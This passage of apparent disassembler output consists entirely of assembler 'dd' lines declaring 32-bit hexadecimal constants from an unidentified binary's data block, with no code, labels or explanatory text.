		dd 0DFFDD96Eh, 0BBDA5382h, 0DB113D07h, 9410394Bh, 0FF558FCh
		dd 4A5923E7h, 0E1FE04A0h, 6E001381h, 1293A02Ch,	0C44754h
		dd 0E0B8DABBh, 3C892D5Bh, 0FE09287Dh, 20519550h, 29A5094Ch
		dd 738F0965h, 0C78027A7h, 790D2869h, 0D5321800h, 0B9538B48h
		dd 0D06805BAh, 0FA8F3FC6h, 0E51556C0h, 0F22B001Bh, 21A4137Bh
		dd 1C00EBF5h, 927189C4h, 0B8BD0646h, 3B83002Dh,	5DFA0A57h
		dd 0CA59BA99h, 0ED480070h, 54A2591Eh, 3F0A14C6h, 468210D6h
		dd 0AC681EEEh, 0AA0E339Fh, 8E23915Ch, 479C8103h, 21861D34h
		dd 39C8F499h, 3E0E4C7Eh, 80F53F64h, 15D9130Bh, 41A800C5h
		dd 14D74455h, 63007F03h, 0BD88E5FDh, 1F29975h, 0E13CC818h
		dd 0D8C5EC3Eh, 5B004177h, 1CB1B0B9h, 1E4597Fh, 73552991h
		dd 0D63DFB76h, 54CA72C0h, 77C254A0h, 88964B37h,	0A8809DE4h
		dd 3A93B906h, 9183A8FBh, 1CF747A1h, 0C19B3102h,	0E12E37CAh
		dd 881BF3Ch, 0FB5E73F0h, 0C726C45Dh, 7F055300h,	2FE0BA01h
		dd 0E66C0071h, 0D20E11B9h, 92008834h, 0C7FA0C82h, 59F65F5h
		dd 3FE5804Ah, 792FC0B4h, 0DECD109h, 0A6150C1Dh,	960BC6C0h
		dd 1EB1BE42h, 7B8D1203h, 0A1C56E00h, 0CC430299h, 71FE8600h
		dd 26D2059Dh, 0DDD41C53h, 288700B3h, 487FEE6Eh,	9F5E3200h
		dd 0A0EBEC23h, 0C6D0516h, 8185FE54h, 0D4BF713Fh, 6900DD35h
		dd 3AE08210h, 0CB7EF1h,	20D200Bh, 0FEF35A8Ah, 0B4B29B1Dh
		dd 0AE5DA70Eh, 98DEE012h, 1E363Fh, 0F4611B8Dh, 9C7E8923h
		dd 0F4CBFECAh, 11DE8607h, 97B8A19Eh, 39E48D26h,	0EB8300F4h
		dd 0B6779D5Eh, 510730ADh, 40E735EEh, 0D05073F7h, 4CA287h
		dd 0E4CFCCC4h, 9D583A11h, 0A0381E60h, 9B60BAh, 72B482BDh
		dd 2F6F3D5Bh, 102E2100h, 894B468Fh, 91E10281h, 4495A5D4h
		dd 5F8260DFh, 0F6D1F72h, 518AC038h, 0CD21BCC3h,	812FF338h
		dd 848A143h, 23200AB5h,	0D28C00DAh, 5335F8DCh, 0A7005F45h
		dd 0DFCF2C44h, 1C19CDh,	5BC4793Fh, 0F8C852C1h, 2A00A8B8h
		dd 972BC24Ch, 0A16CBCh,	0CACC6444h, 1E01328Bh, 0B7DC1F00h
		dd 51BBE4F2h, 94EE3EA8h, 1B1A9906h, 9603513Ah, 5E700757h
		dd 4915E832h, 9FD103DCh, 316B2117h, 610DD6F8h, 75087A4Ch
		dd 89396C60h, 20BD96Ah,	2C8212C6h, 0B848F1E9h, 4D00DE96h
		dd 51ADAE72h, 581F633Ah, 7095C04h, 54050FC5h, 2894C16Ah
		dd 82DE1018h, 11B405F6h, 8397E4A1h, 0A903A69h, 0BA12C933h
		dd 41006463h, 0E1FB1695h, 0AB9E0022h, 0A0A9BBE8h, 764B0886h
		dd 49C22800h, 0EA4421h,	0CD28F8DBh, 52413730h, 0DE81E900h
		dd 6469FE20h, 84C00D2h,	7A436ED6h, 0DC7F59CDh, 94444Ch
		dd 0D4628EF5h, 0FC345Fh, 0F153910Dh, 0A8BCE5ECh, 2B65A900h
		dd 0E731A4AEh, 299C0357h, 0B7CBDF56h, 209D85EBh, 4A7548B8h
		dd 3519DB00h, 9791DCD5h, 93AD1DB4h, 5C0F41DDh, 31C2EF88h
		dd 145EE88Bh, 0F60070FCh, 6F9C25ECh, 986E9E65h,	42823F9Ch
		dd 2E4D1602h, 14E362E9h, 86BC04ADh, 0D49B47D5h,	0C5173C40h
		dd 5D94005Bh, 99827B09h, 14BA55FBh, 804DD93Ch, 14FC2381h
		dd 58A2FAh, 93418399h, 6E7CDDADh, 3ECD3A0Eh, 0AAFE3A1h
		dd 9D64C804h, 60330042h, 6BC46A57h, 2100CFEDh, 0CBC31119h
		dd 3E8D86h, 0BE403498h,	74950458h, 7598C660h, 96DD1113h
		dd 0B4BC00E4h, 2C846EF7h, 31003FF2h, 0EC072022h, 3B41E152h
		dd 0B6AE9BEFh, 0AA3A8274h, 84E87AAFh, 0B850F2F1h, 933CEFC0h
		dd 0BD007D62h, 1DE3E620h, 0E2EA7BE2h, 0AB04309Ah, 0A4ADCD41h
		dd 5057C1FDh, 6617C880h
		dd 3BA2D100h, 936BB956h, 679500CEh, 381530F9h, 0D803BB61h
		dd 0EA74A587h, 0F191F0D6h, 0BC3525DAh, 0BEC52C80h, 54078C48h
		dd 858A5ABAh, 739C9BB0h, 3BA80101h, 311B9A4Bh, 0C025D8D9h
		dd 0C717C901h, 0DC462A78h, 3B0E81D4h, 9C80DE53h, 0FB9B2E32h
		dd 8FC4324h, 0DB8EED00h, 0B291ABC5h, 0F01200C1h, 60EFAAD1h
		dd 0BB395045h, 71B09E22h, 0AEDFCC00h, 0CA87B2h,	7C095AC4h
		dd 0FC0C4EF7h, 0AF527700h, 31E4EA53h, 0EC6F861h, 4675ABB8h
		dd 21812B20h, 0A62C8C8Dh, 0C71F4313h, 0AB68D218h, 5BA10382h
		dd 0CCF0620Eh, 25A938A0h, 5033A0C1h, 7187E356h,	8CF6E068h
		dd 0B201BB39h, 3EB5C5FBh, 5AF0BDDBh, 36A500C3h,	0D3104193h
		dd 0D8182CECh, 2641A713h, 0FEEAF06Bh, 964A008Fh, 70F83BA5h
		dd 0E407A8BFh, 0C24E11A4h, 0F03727E3h, 0ECA092h, 28E2FD6Fh
		dd 0D5F98042h, 970EB100h, 0EB197E52h, 0A5A71830h, 0F7CB90D0h
		dd 12C37207h, 60E017F8h, 54678BAh, 6DF95B13h, 0E56580D1h
		dd 8E00553Bh, 20BB825Dh, 1C2FECDBh, 45437BAAh, 80F67C1Ch
		dd 0D3BDF00Ch, 14C12106h, 10A8661Bh, 3EE5AF42h,	289000CFh
		dd 68D88E34h, 0E859006Bh, 4A08C8D9h, 0D00024F4h, 0E49FD518h
		dd 6B70DFh, 6FE9E5Ch, 880A3126h, 0A268AE01h, 0B7C2B6EEh
		dd 6A384180h, 0EDAF4005h, 1FBB8000h, 0A0D67C77h, 32FC00F3h
		dd 71D78EBh, 30C76C22h,	0D71095A8h, 39BC638h, 6004011Ah
		dd 1BE80B89h, 770671C1h, 0A64A33Ah, 0CB6900B8h,	92285094h
		dd 9F0063B5h, 4F75C1FFh, 240964h, 0DE5213B3h, 9A85872Fh
		dd 1A506D00h, 0BB91B6ADh, 0A7A301D6h, 6583869h,	80D802DFh
		dd 3A782BECh, 48FEEC98h, 91011C75h, 3BDB8558h, 19FE04Eh
		dd 7065AC00h, 9518F14Fh, 22960FE4h, 0ED40D1C7h,	32626C17h
		dd 0D99C5600h, 0E8DE9B04h, 9AD500B7h, 34465CD1h, 0C800E05Bh
		dd 4486CEB4h, 3C888737h, 929F837Bh, 0F3BC027h, 6D129B6Ah
		dd 0F22FAA01h, 0BF592A47h, 0D91E0h, 48E236D7h, 4A5BA7F1h
		dd 279EC100h, 502C16BCh, 3E8700C5h, 0C79BD532h,	3A008E7Fh
		dd 637D76E8h, 24792829h, 8EBE1Dh, 0BFFC78DDh, 0C701BD22h
		dd 4502DE09h, 3BF457B5h, 347A00DFh, 6349A50Fh, 68002F3Dh
		dd 0CF1CC5DEh, 38852CD4h, 0AC3F0555h, 2E71FA03h, 36E0272Dh
		dd 0B91E6D5Bh, 0B5803B30h, 0C548E48Eh, 8CF10077h, 0DACF99BFh
		dd 0D498AA37h, 45D19F00h, 2957DD14h, 0E9B0F3h, 4C798110h
		dd 8D398448h, 128155Ch,	555885FCh, 0E72091AFh, 43615CC2h
		dd 0C59A4E00h, 496DE781h, 690012E6h, 50F59B63h,	60C66Bh
		dd 72042C1Bh, 0F286A996h, 65AE0801h, 99DBA85Fh,	0EB9E9FCh
		dd 0EC356BD7h, 0A9C47460h, 0E5730B11h, 12EE961Fh, 850F9EC0h
		dd 51C3Ch, 78B7D30Ah, 0EE31517Eh, 0C8AEF600h, 41456FB5h
		dd 0A0E7001Eh, 1A5D97D6h, 0E0000E52h, 228DD09Ah, 0EE348B55h
		dd 601560E4h, 920D12A4h, 16B02806h, 1B4C776Ah, 203DD7BDh
		dd 9876FE90h, 87B70A06h, 1299A728h, 4016AF23h, 880192E0h
		dd 0D974903Eh, 0FFCC480Fh, 0A358801Bh, 52A822h,	8FE97FEFh
		dd 76E61036h, 40E76428h, 0D8FE4500h, 0E8D69588h, 125B3053h
		dd 0A140859h, 0E0FDFB14h, 0EA53F10h, 0F4228F76h, 0F90A0040h
		dd 29963D88h, 7AB0A7h, 75A09BFBh, 0CE27BD5Fh, 841ECC00h
		dd 4A3B6CD2h, 0A9EB0078h, 374509D6h, 0CB02DB93h, 92487A0Fh
		dd 0BEDB80C7h, 47AE0Bh,	953959E4h, 0F2315EA0h, 0CC7ABD00h
		dd 55A9FE38h, 0A7DB3B66h, 71E2EC8h, 77CBC18Fh, 0F40A67DFh
		dd 0E3038A12h, 0CDE0D9A0h, 0E850C0F0h, 0D4DF0024h, 0B49A62A4h
		dd 0A17F09E9h, 67B8DA00h, 49BFFFEFh, 0B0960182h, 0FC303115h
		dd 0A6A8CC17h, 0FE3CBCA0h, 3C774Ch, 0F31A2666h,	7F13BFB9h
		dd 0DA75003Dh, 28244E99h, 0A1009097h, 734D57F2h, 9EC8C2h
		dd 701D1202h, 4C50EF9Ch, 0F2E45C00h, 2895464Ah,	892F07BEh
		dd 0A1E591D6h, 0DC96C31Ah, 17009D31h, 5F7EE969h, 928BA4BAh
		dd 3D7500A0h, 4DFC8319h, 20049AF5h, 0E63516A3h,	8436A8C0h
		dd 0BDB31E70h, 1A2840C8h, 310FF548h, 62147C13h,	5F27AE00h
		dd 1ED06A1Fh, 16EE305h,	0F9081E78h, 69C8300Bh, 3A79B800h
		dd 0A1469A51h, 6C5B09A3h, 0FC809ECEh, 75171A61h, 0FB00CA75h
		dd 105954EBh, 0F8D1BC6Bh, 819400E0h, 0D5C0AC83h, 0D81204CFh
		dd 0C500A09Ah, 7CBC1F4Fh, 0D148C09Fh, 96FA3BB9h, 0F747C204h
		dd 0F0D09779h, 182CBEh,	832F059Bh, 0CAD5867Eh, 6D73700Eh
		dd 3DA9A389h, 0A3B89855h, 40162D34h, 0F2066370h, 0E4B7D914h
		dd 12C01050h, 2C017A0Bh, 87EA821Ah, 0FB3057C9h,	2501009Ch
		dd 3307FC6Bh, 0F900A5D2h, 9480CC8Ch, 3934EF5Dh,	20CB251h
		dd 6FB0E341h, 0DE18C800h, 0EBA0CFB3h, 0F4317EACh, 2A552ECDh
		dd 28E7183Dh, 0FE014D14h, 0F21DBC1h, 0C083095Dh, 6FD961D1h
		dd 85B8BEB8h, 0AD9BF600h, 3E23511h, 94CA0005h, 0D5ACABF2h
		dd 0CD00641Fh, 0F2CDEC1h, 2FF508A0h, 99804191h,	0E20DFACh
		dd 598E7B00h, 0C51F5DAAh, 24FE0FA6h, 0C9E05C01h, 0EF65D7A7h
		dd 25DDF50Ch, 0B3989Dh,	5239AE8Bh, 14A34855h, 0FA94BA50h
		dd 60333844h, 9722702Dh, 6D0067B5h, 22B57F1h, 468C5Ch
		dd 7AFA48CDh, 4261AC68h, 0DF76FD00h, 8126FEECh,	0C04D0012h
		dd 85C631A2h, 881CED37h, 0FFC0AF75h, 928F58EFh,	0B1171D7Dh
		dd 6812CA51h, 0C05B80D0h, 0AEFBE040h, 330020BAh, 2B477483h
		dd 4E8434h, 182D6A81h, 0FF5DB3C6h, 1ED2300h, 0EA80AFBBh
		dd 0C17BBFh, 0E26AD14h,	6ACFA1DFh, 0C8BEEF17h, 70188C1Dh
		dd 5C3859h, 1AD32B85h, 7AA71A5h, 0A700649Ah, 109FD813h
		dd 0F1D5586h, 816EBF02h, 0CE96FEC3h, 0CADFF4D0h, 0F93F49C7h
		dd 80FF2EA2h, 0F37AC2ACh, 2B78005Dh, 5FA2F052h,	0B800CBC0h
		dd 0FD31B421h, 0BAF15Eh, 0DB240582h, 89183A70h,	4C4BEA17h
		dd 1601E0FCh, 38F98525h, 0D740704Ah, 662440h, 0CA2FD142h
		dd 4917EEC9h, 0D31E6894h, 1AE6FA80h, 92B8685h, 1D23E1C7h
		dd 0A0A25884h, 5E0026BCh, 0AD357C95h, 1C874FEh,	2171D256h
		dd 0DCC5E743h, 2300C2B4h, 553B4612h, 39616BD3h,	40E051F2h
		dd 2852B7C0h, 9D00CCB2h, 14E00F73h, 7118CC9h, 0ADE8F547h
		dd 0D3EBA030h, 401F2674h, 0E7815DE9h, 133A8B5Eh, 5F4EF040h
		dd 0D46E2565h, 1C631C00h, 0EF3B353Fh, 0C12B8013h, 0A4682719h
		dd 0E9CB007Fh, 56CE9316h, 1F1E4EF6h, 6FC08DD5h,	3B18E52h
		dd 0B9EF0289h, 0D45AC539h, 3198EE63h, 2A4E9461h, 1900B4ACh
		dd 7C84BD98h, 22501D81h, 0D8918E98h, 72879D06h,	0DA60F541h
		dd 0ADF6007Bh, 6555CBCAh, 500ED10h, 46F8DB0Dh, 5D86098h
		dd 49C9F9FAh, 0C88C0092h, 0DDFB9A7Fh, 80534F39h, 0A730E4C2h
		dd 2C76195Dh, 18820E92h, 4D287865h, 2F8C0700h, 638E9E02h
		dd 0DA712601h, 99E68074h, 47B71DE1h, 0D0E9844h,	7546FDC3h
		dd 0FC63E911h, 2300B84Bh, 28E3F54Fh, 127B3B70h,	80871207h
		dd 600A6DD0h, 80E9D725h, 465C6E40h, 0BE293E33h,	0B6EEB805h
		dd 0BB028010h, 670051C8h, 0DC5F05E8h, 13BC398h,	7A2F95DEh
		dd 0C4285EF6h, 470E54AEh, 0AE997402h, 0B2D6C024h, 5050672h
		dd 0C4D120A4h, 5265805Ah, 0B5148C96h, 0C4CCCAh,	280F4A3Dh
		dd 6E8B7Ah, 0F9B7D6A1h,	2783F779h, 0CED17200h, 0E5B81382h
		dd 76D90EE4h, 91E0BC17h, 42572358h, 20D3301h, 85B2CF84h
		dd 1CB44820h, 40F588F7h
		dd 281A298Ah, 1C1E9E5Bh, 0CF0797BBh, 5A80CDD2h,	39B2D0Eh
		dd 0F5A51B71h, 0D09F4EF7h, 319A9C23h, 0B193C100h, 2A0F36A3h
		dd 0B0C61603h, 17EC078Bh, 0E9928057h, 552C80Ch,	908C4094h
		dd 967E2E0Bh, 2F2E006Ch, 75F264Bh, 0CEE0E5A0h, 8E5566E2h
		dd 0F1358A00h, 6BF51778h, 0EEF7B9Fh, 0CBCC1BD3h, 5E314DA0h
		dd 0B100FC76h, 12738F16h, 0C18DC3h, 0E5D72E7Bh,	9BBE0368h
		dd 0DE6ED800h, 410A2937h, 49A3001Eh, 735F575Dh,	0EF09D7E0h
		dd 800ECB4Bh, 0A8ADB570h, 0E54D008Dh, 6EA1886Fh, 18B83061h
		dd 0B189AA00h, 0DEB04B63h, 5B9F00E0h, 2870FB7Ah, 0C31FF735h
		dd 0E8B0D299h, 0B1727DAh, 0D90EEC2Dh, 8A50389h,	6278C0BEh
		dd 0A504970Ah, 13119F05h, 58BC88A2h, 64358B08h,	1D9440E8h
		dd 0FE0079E9h, 0F680F476h, 188D165h, 0C25CB83Eh, 20E8C792h
		dd 661E0B70h, 0E15815AAh, 0E8019020h, 9CF90F2Ah, 181811A3h
		dd 0E600B344h, 8F71625Dh, 38815B52h, 5000DB07h,	0BBD9E264h
		dd 0F3006C16h, 0A4228BD0h, 712C363h, 39189013h,	5198062Ah
		dd 9588090Eh, 3AA88016h, 5BAB5CBBh, 0ED51B18Ah,	0C0AC2877h
		dd 52097E8Ch, 50287C8Bh, 50920CE1h, 6A60C8h, 32AEF597h
		dd 66ABF677h, 1D3040C0h, 99B73h, 4A5F45E8h, 97CA9AE4h
		dd 2A9C1900h, 0B1DB74DAh, 0A6D713BBh, 0C37E0014h, 29A0765Ah
		dd 547175Ch, 0BCAE251Fh, 6001EE80h, 30330064h, 0C53A9C1h
		dd 0E9E488F2h, 0B22EA500h, 498EC79Fh, 78B900F7h, 3EF4BA40h
		dd 39789408h, 5ADB200h,	2421F07Fh, 3DC90E8Dh, 1DE06A4Bh
		dd 6B4D31EAh, 31A83B2Ch, 0CF5CD100h, 25FD672h, 94C89BAFh
		dd 0E7C03309h, 0FE00AE0Ch, 0F09837A4h, 6C675Ah,	65103BF9h
		dd 0AD999664h, 0AC8FA90Bh, 0BC8257Ah, 5E0438h, 14FE37E3h
		dd 0E7CB5F28h, 0F17913Eh, 948BB8h, 150D6A13h, 0FB3800E5h
		dd 0D21096BAh, 0A860FFE2h, 0E7265C40h, 0A6DE2C70h, 0F9CE000Bh
		dd 0D832150Eh, 66C33C1Fh, 206FC24Dh, 14DA0C60h,	20E34554h
		dd 18F4DBE1h, 4093EE5Ch, 0CB078A6Ah, 150C9567h,	0FDC91150h
		dd 300A7A24h, 0FEB8DDF7h, 1000625Fh, 6895EB7Eh,	0B9A663Ah
		dd 1D697A11h, 0A82390A0h, 6A0E85EFh, 2B5EB73Bh,	2B2020EEh
		dd 54AB9B0Bh, 4F19014h,	8B3D26ACh, 925481A6h, 6089856h
		dd 5C45721h, 2FE7D126h,	1CA840DFh, 1BD68369h, 0F7AC3000h
		dd 0A0D28E8h, 0C5DFE8E2h, 4B14A969h, 3B0082C0h,	0ABB89F96h
		dd 1F591860h, 8C7BF7h, 3EFA1CD4h, 0DACB498Dh, 69CEF1Fh
		dd 88146A8Ah, 3CCAE302h, 4E8A38Bh, 49FE98EFh, 36680760h
		dd 40AC65F5h, 1B8837E9h, 63008AEEh, 0C642629Ch,	3044A4BFh
		dd 5B9E633h, 0AD01D541h, 16F63F5Ch, 8986764h, 58A621CEh
		dd 2E3AD500h, 0BCEA7A10h, 0FE0D05CAh, 1053657h,	5396E6B8h
		dd 52C443FDh, 1436023h,	5CC0D53Ah, 88CC1857h, 0D50051A7h
		dd 0E9056A92h, 180A3A33h, 50DA975Fh, 0DC028FB3h, 5194C9BAh
		dd 0AC72AAh, 7A8DA9A1h,	0A8055985h, 3A7CC4FAh, 0DDC55801h
		dd 0A36B7964h, 43439052h, 0F5A7D028h, 9F150138h, 0A44DE4FDh
		dd 8CD6F166h, 91DD3068h, 1200057h, 0AC21A74Eh, 26005FC8h
		dd 0A6E38BFAh, 635CA10h, 6679C1A4h, 97E461A5h, 48DC4F32h
		dd 85461B5h, 28265B60h,	9D813BBh, 8EDFFBEAh, 87F46004h
		dd 0D7182CB3h, 6BA89312h, 0CB0B414h, 0F9E70F87h, 94630E6Ah
		dd 92C05ED1h, 0EC210966h, 0AA28003h, 38CC8B87h,	0D8837A28h
		dd 9897E3A0h, 0FD736000h, 0BC04556h, 0E4FB308Fh, 7B67FC28h
		dd 0EB7D1F1Fh, 0D8E37F06h, 150A0118h, 3DB81229h, 84D183A8h
		dd 0F08BD63Bh, 32E9764Eh, 81085623h, 4363A448h,	17C6D600h
		dd 1A36B5A7h, 0E8BD48DCh, 0F128310h, 560458Ch, 9C454CCCh
		dd 0B046DB94h, 69923Ch,	46097B82h, 0BB5AE478h, 3E17B700h
		dd 0BD2CCE87h, 8AFA05C0h, 0E807093h, 39D83D90h,	0C40B6F69h
		dd 8010DE91h, 0D38A469Ah, 54A70A9Ah, 8A450F6h, 0AD00F467h
		dd 0A2C84BFh, 5F161832h, 4FE6A06Dh, 4553A401h, 79267D2h
		dd 18486421h, 83963ACDh, 98104069h, 0AA285890h,	0AB30A0F3h
		dd 0D7DE190Eh, 3D2E019Bh, 5E1236E7h, 57E0208Bh,	9670950Ch
		dd 15A430F8h, 80C69710h, 8C479050h, 0ACD53E04h,	0CD62375Ch
		dd 0D556AB20h, 7B61F93h, 380E685h, 8667FDA9h, 4604B8FEh
		dd 9C9458Dh, 0FC40D4E5h, 65387313h, 42E34EFEh, 0FC4B87FCh
		dd 1144880Fh, 0D6819DC6h, 773E0A8Dh, 0BCA4980Ch, 42D64500h
		dd 70962CF5h, 7E0931D2h, 85C794E1h, 1622E249h, 0B1CD4402h
		dd 64744CE8h, 60BB789Bh, 688CD63Ah, 983C700Ah, 4264D180h
		dd 2500D674h, 78EC9EFEh, 31115EDBh, 0BC690FAAh,	0C2CFD017h
		dd 0C416FC0Fh, 83678B9Fh, 0EFE28C66h, 0DAC0B297h, 1DC59A0Ch
		dd 8B415C46h, 44809342h, 0EEE02890h, 0C4122A14h, 0D63F804Ch
		dd 0AC2E0A8Fh, 997C6088h, 3FD64767h, 4C8ABA03h,	1ACECh
		dd 52D46991h, 0CA87A788h, 1E5B671Ch, 42C5E780h,	128AC7EEh
		dd 98B03EBh, 44B08FD8h,	6E28785Eh, 0F07D8FCh, 8EB08297h
		dd 0F90623C3h, 60207B7Fh, 3D3A26A0h, 97714040h,	1702DD7Ch
		dd 6677FD55h, 3ECC8003h, 1293BA82h, 40B94253h, 0F6F4791Ch
		dd 8D09C06Fh, 277EAA13h, 54302770h, 9DAD321h, 2BFBEFAh
		dd 709D875Dh, 90511786h, 0A6A73028h, 41D55EB8h,	4D6FB50Fh
		dd 88E1A068h, 92EAFE11h, 355C765Ch, 80B07FD2h, 408C51D8h
		dd 0A8BF7613h, 0AB3AA405h, 6011E8C8h, 0B941087Bh, 0D9FC59C5h
		dd 0E843D126h, 83637301h, 0E0EFAFCFh, 1DCC5BBh,	46060D3Eh
		dd 80D53045h, 2A61B071h, 0FC91EAh, 36984122h, 0AC20B544h
		dd 8D574F0Eh, 0E4565642h, 10337C03h, 3C085212h,	0C2A31101h
		dd 0FA0F165Eh, 4FE3B4A1h, 24F0A896h, 708FA305h,	8800123Eh
		dd 7CCC1A5h, 7D040AAAh,	80C8943Dh, 76FF1BF1h, 6473E392h
		dd 0E6734700h, 79F2E9B4h, 0A3DD01E2h, 7EDE5EACh, 2CC4CE83h
		dd 4F20A813h, 0C0461008h, 5CABD53Fh, 0DA222F46h, 0F8E6A840h
		dd 0B46B3A9Ah, 0F489B100h, 15520A63h, 90E23A01h, 0CAC25E5Ch
		dd 841AE0h, 1CBB2345h, 0E42CC765h, 0BE18C97Ah, 0DE30CB4Ah
		dd 51DC3D4Ch, 77374B01h, 8987635Dh, 40C948h, 0A2C3393Ch
		dd 6EFE1D20h, 0CAF080ECh, 67D10ADCh, 0EE69141Dh, 0EAE500FFh
		dd 0C8E219B1h, 404060A0h, 9754B315h, 0E4338103h, 888B9E44h
		dd 0C141FBCh, 3B3DFCE2h, 7F005A29h, 7DB1B88Dh, 66B921AEh
		dd 212508A5h, 8D96FB00h, 0E195C3B3h, 1A6AEE0Dh,	0E0524090h
		dd 0A1037980h, 0BE00A0D7h, 68365C43h, 6792C2CAh, 633A40E6h
		dd 4888E0F3h, 3E198106h, 0BF080E61h, 0A13A9440h, 8FEFBh
		dd 0A837914h, 919A3031h, 5C41D061h, 0FACC4EB8h,	6ACF0002h
		dd 0EFC79F29h, 0E1031CB0h, 9E4577C9h, 20E13D8Fh, 0B180ADBCh
		dd 3ABBC28Ah, 50F76291h, 26E175ACh, 0F69AF301h,	0FE92CEC5h
		dd 218B0898h, 2674E952h, 7938F570h, 4E90818Dh, 0CF39763Fh
		dd 187FA0C4h, 311D63A9h, 0FE023DFAh, 0A74850DEh, 0AC9A40B0h
		dd 18A41CEDh, 0B12581D3h, 457ACF34h, 3E1000C4h,	3ABCE384h
		dd 18D094A1h, 0E2E008F5h, 0BBC4F648h, 0E0FDA740h, 2F0265C7h
		dd 0FB1CB1B7h, 97F09112h, 11488110h, 4CB18905h,	100974DBh
		dd 91001F93h, 0CA6D802Fh, 7B9AB2ABh, 12E37CFFh,	40CCE9ECh
		dd 7BCBA97Ch, 0A4B84377h, 614AE619h, 2180B508h,	957BC30Bh
		dd 827F484Eh, 707E8007h
		dd 202F44EEh, 0E21FC4D4h, 31CF60E8h, 79E0C78Bh,	0E8443431h
		dd 460080EBh, 0C4E82906h, 0C0FBC9C8h, 0B1CB8D78h, 23229546h
		dd 8D8FFC07h, 6971ABACh, 47D43235h, 213F603Ah, 9E0D370Eh
		dd 5F4E701Fh, 18192A18h, 730F149h, 0CAFE3E74h, 0D257FF00h
		dd 8588CB7Bh, 0BF17859Ah, 820050C4h, 6A261C49h,	0F3D52CFFh
		dd 0AD2439CCh, 807B1144h, 9AF926E7h, 0C0C64206h, 0B26EF5Ch
		dd 0B99E00ECh, 0E08E8FC4h, 3D400E36h, 0EA5CB814h, 0DE400188h
		dd 64A508E9h, 491083BFh, 17316647h, 8012B228h, 48D2A0E4h
		dd 8611367h, 81CE6090h,	83520107h, 9F34B38Ah, 0FCB4401Dh
		dd 0E149BB84h, 5978054Ch, 0D458A4EEh, 808F4F28h, 0C4A14558h
		dd 657A18F9h, 62A5F88Dh, 0FA202EC4h, 15808D91h,	0F81213B3h
		dd 0AD70147Ch, 4009A96Ch, 948289CFh, 0E20FCA8Ah, 823CEA16h
		dd 0AA2BC7Ch, 2463DA0h,	48E7E0F8h, 1C3467DEh, 5EE000A4h
		dd 0E2AB08D4h, 0F2029B75h, 8475EFB8h, 0EBAE027h, 0E8E56049h
		dd 1B8F5487h, 0FD06E083h, 80C550AAh, 4915F221h,	0B48080EFh
		dd 9943827Bh, 10B3448Ch, 3F7BCC00h, 3B53287Ch, 6D37E27h
		dd 0D90E9B14h, 5B0C58AFh, 70900B55h, 0C4D6244Ch, 753A8074h
		dd 10C5A0C3h, 80F8A369h, 96EA8A6Dh, 0C1D50C45h,	4968CEACh
		dd 2C0A4F14h, 0A5060094h, 40861D60h, 0B87C01E3h, 421766E2h
		dd 7820A851h, 0D0FABB0Ah, 0BF7020C2h, 0B0088C1Ah, 35E7A3Fh
		dd 0C6A8AD08h, 8A4F9012h, 0C0907008h, 9AF426E4h, 91C5EE21h
		dd 0EC53028Eh, 40C86D26h, 801C4328h, 0B406D544h, 2CCDF54Ch
		dd 3CEE1410h, 684890A8h, 188C0711h, 7F19F50Eh, 12B32064h
		dd 60CDF934h, 30EB5082h, 7E117BB8h, 0B488B943h,	7BD00C81h
		dd 0F5E4FF85h, 0B86E7ED4h, 1F4435D2h, 60B004B1h, 4F0B01A8h
		dd 41062A1Ah, 0B93AEC98h, 18D841E5h, 1BC47C5Eh,	28384A1Eh
		dd 0A844BAD2h, 0DE3EE30Dh, 9C0E1833h, 2FC08F88h, 945047h
		dd 0C7392F0h, 0CF91B7B6h, 2E7F61C0h, 0F304CF1h,	0A2A38C4Ah
		dd 7A6D409Eh, 0BC881498h, 4BB5651Ch, 9C156BCAh,	0B10EC207h
		dd 1912A83Ah, 0AD14AC01h, 0F0489BFCh, 0B58E0028h, 0ED39D066h
		dd 0F6000369h, 348FEC21h, 34A13C6h, 5C7F1B91h, 4E80CD2Ah
		dd 0C8009681h, 0FE1C3F6Bh, 2D68F5h, 93C7A358h, 21326CCDh
		dd 631FF800h, 0AC9FB8A1h, 0FD7658E0h, 0E7101Ch,	5D09E47h
		dd 7B00E1AFh, 0F5A832C5h, 70078Bh, 5C7E2186h, 66CFB740h
		dd 0FE0EB38h, 618F1768h, 9546514Fh, 6EC7D8h, 0AFFD2334h
		dd 9C8EAADAh, 0D798DF00h, 99032EC4h, 0C31D3176h, 0E43E5B50h
		dd 0E600A49Ch, 0A809AC19h, 0F7CD90h, 0E2DCDB77h, 5BEA979h
		dd 0C351F40Ah, 0ED00E56Ch, 0E6AC215Ch, 25720014h, 4A151894h
		dd 91008B50h, 2FEDDCC2h, 210A2Bh, 3DE21B09h, 0D354DB45h
		dd 802AE00h, 2928340Ch,	0D9062582h, 1512195Ch, 0A6725D00h
		dd 6D22B4Ah, 8DD8850Dh,	0E40F1916h, 4063A46Ch, 7F9BDE7h
		dd 0F88F0086h, 2C2C128h, 7E009F3Bh, 44BA75F3h, 0FE74204Fh
		dd 0CCFB50C9h, 74575DBh, 0A0482138h, 583B209Eh,	93008B6Dh
		dd 0E9ED310Ch, 3458E46h, 56818A34h, 2CA03C0Bh, 0D30EB7FCh
		dd 1BA1771Fh, 37D2F082h, 459B1C55h, 35544780h, 9744104Fh
		dd 1C006270h, 0D9007D7h, 0BF4C5Ah, 0E6B2FFF8h, 80347881h
		dd 0E5D77200h, 0AEA26038h, 0EA3700CBh, 61C94EBCh, 2B003A1Bh
		dd 0B8A65051h, 234B5Fh,	2ECDE729h, 190C16AAh, 0C986B700h
		dd 0C7E872C4h, 0B53E308Fh, 5BB63C71h, 0F2D89E03h, 79A537Ch
		dd 8A77EF19h, 0A7601F31h, 29F6FBCEh, 0E1393500h, 0DE04C9B5h
		dd 0A2D90292h, 4A46F72Eh, 313623C0h, 8FA9F404h,	0F2ACCC73h
		dd 33242C00h, 25A7723Fh, 46C62E02h, 0E0BC3BE4h,	3E4B2Eh
		dd 42B98EF5h, 0A15140A2h, 0FA00CFFCh, 8B9F639Dh, 18C16D2Fh
		dd 0C372DE1h, 0B73CEF47h, 0FC4680B4h, 0C8C61286h, 457B4C7Dh
		dd 0B1A1EB00h, 451501A6h, 49CEE07h, 9D102840h, 2DB95Dh
		dd 0B2F82532h, 2EA9AB99h, 0DB2FA000h, 0E4FBD0F9h, 0C26B00A5h
		dd 0D96DB04Dh, 9000B173h, 0F3C38C83h, 0F179586h, 51377B33h
		dd 5A1CBDC1h, 151824D3h, 5E26D9C0h, 3FA870h, 586DF6BEh
		dd 10B49B77h, 981F1100h, 4E5C2601h, 2DC0F35h, 0B0C13FC2h
		dd 0F49CB385h, 3D07EE66h, 0E2B57F0h, 0C840EF45h, 5812556Fh
